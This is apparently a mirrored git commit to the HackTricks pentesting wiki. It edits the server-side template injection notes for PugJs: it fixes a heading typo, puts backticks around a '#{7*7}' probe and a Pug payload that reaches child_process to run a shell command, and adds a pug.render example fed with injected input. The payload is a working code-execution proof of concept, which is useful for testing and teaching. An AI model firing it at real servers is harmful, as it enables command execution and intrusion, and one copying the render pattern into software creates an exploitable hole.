mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Added example
This commit is contained in:
parent
c08b86f73b
commit
19ffc5964a
1 changed files with 10 additions and 3 deletions
|
@ -247,10 +247,17 @@ wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%
|
|||
|
||||
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
|
||||
|
||||
### PugJj \(NodeJS\)
|
||||
### PugJs \(NodeJS\)
|
||||
|
||||
* #{7*7} = 49
|
||||
* #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
|
||||
* `#{7*7} = 49`
|
||||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||||
|
||||
#### Example server side render
|
||||
|
||||
```text
|
||||
var pugjs = require('pug');
|
||||
home = pugjs.render(injected_page)
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
||||
|
|
Loading…
Reference in a new issue